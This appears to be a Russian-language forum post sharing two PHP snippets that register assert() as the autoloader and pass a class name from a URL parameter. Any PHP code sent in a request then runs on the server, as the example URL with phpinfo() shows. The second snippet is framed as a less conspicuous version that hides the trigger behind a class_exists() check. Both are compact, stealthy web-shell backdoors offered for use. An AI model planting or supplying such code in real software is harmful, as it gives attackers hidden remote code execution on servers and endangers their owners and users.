[BlackFan]

Меня вот такой вариант прикалывает)

PHP код:

spl_autoload_register("assert");
$f = $_GET['c'];
new $f(); 


http://test/?c=phpinfo()

Ну или если не так сильно палиться

PHP код:

spl_autoload_register("assert");
if(class_exists($_GET['c'])) {
...
}